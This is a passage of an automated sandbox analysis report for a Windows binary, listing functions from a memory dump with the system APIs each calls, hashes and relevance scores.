Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 1553bcfc5aca4ca800b5f203275528867a3a5bf56541edb4c2be03593f351a34
Instruction ID: 72725e5a9fe68a1513bd2faadfb3e6bef146059869b4d895af21f7a21f08e6cf
Opcode Fuzzy Hash: 1553bcfc5aca4ca800b5f203275528867a3a5bf56541edb4c2be03593f351a34
Instruction Fuzzy Hash: B881D072F04690C5FF659FA9A840BEB7BA1F344B84F59413AEA4B47694DA39CB43C340

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2A8324 Relevance: 3.1, APIs: 2, Instructions: 110COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 000000013F2A84B9
std::bad_alloc::bad_alloc.LIBCMT ref: 000000013F2A84D5

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: std::bad_alloc::bad_alloc
String ID:
API String ID: 1875163511-0
Opcode ID: 5a8118cea12041f5bba5c21fcd5aeb87fb08520bc0cb7ed3c4b3453edf4e941c
Instruction ID: d5c695d8b4ab8843d2563da249c29cca4d85bb78af24fa49328a42e5de266da6
Opcode Fuzzy Hash: 5a8118cea12041f5bba5c21fcd5aeb87fb08520bc0cb7ed3c4b3453edf4e941c
Instruction Fuzzy Hash: 1B416D76A05A84C5FF64EF21D2503EA7BA1E754B84F484539DF8D0779ADF78CA8A8300

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F29CB94 Relevance: 3.1, APIs: 2, Instructions: 100COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000001,?,?,?,000000013F29CB69), ref: 000000013F29CCC6
GetLastError.KERNEL32(?,00000001,?,?,?,000000013F29CB69), ref: 000000013F29CCD5

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: fd696965cc74116d374b50372c7714ac3cfe2692967d93b440dc49aca272c4b1
Instruction ID: ac0ad58114b3cbc808730c69534f4d44b7ffca235bf4c27cc21cc5849b6d1c2c
Opcode Fuzzy Hash: fd696965cc74116d374b50372c7714ac3cfe2692967d93b440dc49aca272c4b1
Instruction Fuzzy Hash: 8831E532B52A96C2FE604B2AD5507DB2750E706FE4F144139DE1C47BE4DB38CA538700

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2923C0 Relevance: 3.1, APIs: 2, Instructions: 98COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000013F2923EE
Concurrency::cancel_current_task.LIBCPMT ref: 000000013F2923F4

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: ec79624c46bc47e7d42d1b2591c92fcff0b3d36e474fb898bdabfb43df807e29
Instruction ID: 3d4f19ea36cb10cb4cd6e104bd1562c4921980f2fcd018253a82822bfaf57c70
Opcode Fuzzy Hash: ec79624c46bc47e7d42d1b2591c92fcff0b3d36e474fb898bdabfb43df807e29
Instruction Fuzzy Hash: E8315371A01B84C2EE98DB52F5413DF72A5EB447E0F545638ABBD077D6EE28C6A28310

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F29C688 Relevance: 3.1, APIs: 2, Instructions: 82fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 000000013F29C71C
CreateFileW.KERNEL32 ref: 000000013F29C769

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d1154827a2bd690f80419550eff16fed19451c218b2921c8879e33f9bf465373
Instruction ID: 36bc0911cc8ff6cce163eedd94f71d13f99a3791fdc2cfeff1ca969806b6ed02
Opcode Fuzzy Hash: d1154827a2bd690f80419550eff16fed19451c218b2921c8879e33f9bf465373
Instruction Fuzzy Hash: 1131D273A14685C6EB718B20E4053DB26A0B785BB8F405329DEB8076D5DBBCC6A68B41

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F29CEE0 Relevance: 3.1, APIs: 2, Instructions: 76timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32 ref: 000000013F29CF0E
SetFileTime.KERNELBASE ref: 000000013F29CFAB

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: e97e05df5904ee765d6b699a289decc8c7c4cd8133a24b8a836e434f42861f76
Instruction ID: 50c4d51503e4801ef886c157134f8256c0317916d13faa4a52fa07b97df7fc38
Opcode Fuzzy Hash: e97e05df5904ee765d6b699a289decc8c7c4cd8133a24b8a836e434f42861f76
Instruction Fuzzy Hash: EA21D032E85B82E5FE618A51E4053EB6790E746BD4F55413A9E4807395EB38CBABC300

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2A2948 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 000000013F2A29CF
LoadStringW.USER32 ref: 000000013F2A29E8

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 2236e34311bc97c09f5d79616d4e94da909976376acd17a317b49b188287e802
Instruction ID: 00f6eb45461c88f7b89b180897924c7e05993327c011680c81649279ec85a326
Opcode Fuzzy Hash: 2236e34311bc97c09f5d79616d4e94da909976376acd17a317b49b188287e802
Instruction Fuzzy Hash: E0115575B00B40CAEA50CF06A94039AB7A0B7A8FC0FA4403DCA4CD3764EE38C617C744

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F29CFC0 Relevance: 3.0, APIs: 2, Instructions: 47COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE ref: 000000013F29D021
GetLastError.KERNEL32 ref: 000000013F29D02E

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 31bdbebb0b85d60902ef083526541ee72a562a1f20adb25ae37104f4e5c60490
Instruction ID: 1c5e7dbda08c74dc0906f9a320268646cf2e6f3f858db1493ca24a22e761171c
Opcode Fuzzy Hash: 31bdbebb0b85d60902ef083526541ee72a562a1f20adb25ae37104f4e5c60490
Instruction Fuzzy Hash: 69118231A04680C1EB648B25E4413EB6360F754BF8F94433AEABD672E5DB38C6A7D300

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F29DB64 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,000000013F29D782,?,?,000000013F2991EB), ref: 000000013F29DB93
SetFileAttributesW.KERNEL32(?,000000013F29D782,?,?,000000013F2991EB), ref: 000000013F29DBC0

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9922b51953f326bddede81da838ac517d88a3aa880a3b7e29d323bb0935ea4de
Instruction ID: 4b74155737d233aa18079d61e9f05ea6358bb336ddc28b8c8d3fc94c2c17447e
Opcode Fuzzy Hash: 9922b51953f326bddede81da838ac517d88a3aa880a3b7e29d323bb0935ea4de
Instruction Fuzzy Hash: 10014F32B14A80C1EA609B21A4603CB63A8F788BC0F844139ADDD83759DF78CA978B00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2913D0 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 000000013F2A2550: swprintf.LEGACY_STDIO_DEFINITIONS ref: 000000013F2A25A8
Part of subcall function 000000013F2A2550: SetDlgItemTextW.USER32 ref: 000000013F2A2617
Part of subcall function 000000013F2A2550: GetWindowRect.USER32 ref: 000000013F2A2651
Part of subcall function 000000013F2A2550: GetClientRect.USER32 ref: 000000013F2A265F

GetDlgItem.USER32 ref: 000000013F291420
SetWindowTextW.USER32 ref: 000000013F29143C

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ItemRectTextWindow$Clientswprintf
String ID:
API String ID: 3322643685-0
Opcode ID: 56b4ef3a8ca9051483f4fde00dc832cb4ef6496f92d169b50556cc8b670c4359
Instruction ID: df3c886f09f864bb741d26df4a0df8c2fbbdb52360730d4e7c514964bdddfa33
Opcode Fuzzy Hash: 56b4ef3a8ca9051483f4fde00dc832cb4ef6496f92d169b50556cc8b670c4359
Instruction Fuzzy Hash: 86012C30F0524582FE5A9B52A4543EB5791AB49780F08603DC84D076D5DA7CC69BC740

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F29D408 Relevance: 3.0, APIs: 2, Instructions: 32fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,?,?,?,?,?,?,000000013F29C5D2), ref: 000000013F29D430
DeleteFileW.KERNEL32(?,?,?,?,?,?,?,000000013F29C5D2), ref: 000000013F29D45B

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 14817deb9e469959f4c519e694afdcff73abcf349b9dcd90aa63010e06c77982
Instruction ID: e7d1e91babd64c26307e2a12a8abef266e4fee03822e6d5a8fda90fd6eb0fbf0
Opcode Fuzzy Hash: 14817deb9e469959f4c519e694afdcff73abcf349b9dcd90aa63010e06c77982
Instruction Fuzzy Hash: 92F06232B147C1C2FA609B21E5113DB6368FB48BC8F844039ADD947699DF6CC7968A04

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F29D4A0 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,000000013F29D746,00000001,00000001,?,000000013F29D343,00000001,?,?,000000013F2991EB), ref: 000000013F29D4C8
GetFileAttributesW.KERNELBASE(?,000000013F29D746,00000001,00000001,?,000000013F29D343,00000001,?,?,000000013F2991EB), ref: 000000013F29D4F1

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: ac0b94f312213f30e4f1ffecd14a14af6a49e72a4523b7e70f9c6c714eb6493f
Instruction ID: 6f1b258ec568b7b49b4e070dc8d6171173d9b5e609a5cd13a354789dcdeeae8b
Opcode Fuzzy Hash: ac0b94f312213f30e4f1ffecd14a14af6a49e72a4523b7e70f9c6c714eb6493f
Instruction Fuzzy Hash: 5FF04431B14BC0C6EA609B65E5553DB6364B74C7D4F400139AAD847795DF68C65A8600

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B52B0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

Part of subcall function 000000013F2A2948: LoadStringW.USER32 ref: 000000013F2A29CF
Part of subcall function 000000013F2A2948: LoadStringW.USER32 ref: 000000013F2A29E8

swprintf.LEGACY_STDIO_DEFINITIONS ref: 000000013F2B52F0
SetDlgItemTextW.USER32 ref: 000000013F2B5306

Part of subcall function 000000013F2B2090: PeekMessageW.USER32 ref: 000000013F2B20A6
Part of subcall function 000000013F2B2090: GetMessageW.USER32 ref: 000000013F2B20BD
Part of subcall function 000000013F2B2090: IsDialogMessageW.USER32 ref: 000000013F2B20D4
Part of subcall function 000000013F2B2090: TranslateMessage.USER32 ref: 000000013F2B20E3
Part of subcall function 000000013F2B2090: DispatchMessageW.USER32 ref: 000000013F2B20EE

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Message$LoadString$DialogDispatchItemPeekTextTranslateswprintf
String ID:
API String ID: 601060688-0
Opcode ID: 7c3f72bacd60fd66dd41ab48a8c155c09cce617ec2fc808676bb5a57974df870
Instruction ID: c69200ce174593a88b3284b717d70681d533950727db2541d0482ea5a62e97f8
Opcode Fuzzy Hash: 7c3f72bacd60fd66dd41ab48a8c155c09cce617ec2fc808676bb5a57974df870
Instruction Fuzzy Hash: 70F0B472E14A84C5FA106B60E8113DB2290BB98788F80003EF95D477A3CE2CC3538701

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2A4F90 Relevance: 3.0, APIs: 2, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32 ref: 000000013F2A4FBE
LoadLibraryExW.KERNELBASE ref: 000000013F2A4FE9

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 3eea30f6c570d66af2bbf58731e05050acf4960456867659ee8e440163dd4e16
Instruction ID: 1ac4fc5f30303aa0162c09c00dd83700f7e41eb45851f9bd094e26a1027ea787
Opcode Fuzzy Hash: 3eea30f6c570d66af2bbf58731e05050acf4960456867659ee8e440163dd4e16
Instruction Fuzzy Hash: 29F03072B145C0D6FE709B21E8157DB6364F79CB84F800035A9CDC66A9EE2CC74ACB10

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2A5A44 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,000000013F2A5A99,?,?,?,?,?,?,?,?,000000013F29EFCE), ref: 000000013F2A5A48
GetProcessAffinityMask.KERNEL32 ref: 000000013F2A5A5B

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 2ea2a73d1e5f90ccb45dbe3b28c4e81f4deac0d6f0f8a6f3c57ebbd5e1b152f1
Instruction ID: a335ea93698a99ec98a1bb1034454300e7b194d48d14c8ea9848d9d39d38d9fe
Opcode Fuzzy Hash: 2ea2a73d1e5f90ccb45dbe3b28c4e81f4deac0d6f0f8a6f3c57ebbd5e1b152f1
Instruction Fuzzy Hash: 65E065B1B10585CAEF598B96D4517DB63A1AB84F40F84813AA50687614EE28D64A8740

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B6850 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 000000013F2B6880

Part of subcall function 000000013F2B71A0: std::bad_alloc::bad_alloc.LIBCMT ref: 000000013F2B71A9

Concurrency::cancel_current_task.LIBCPMT ref: 000000013F2B6886

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::bad_alloc::bad_alloc
String ID:
API String ID: 1173176844-0
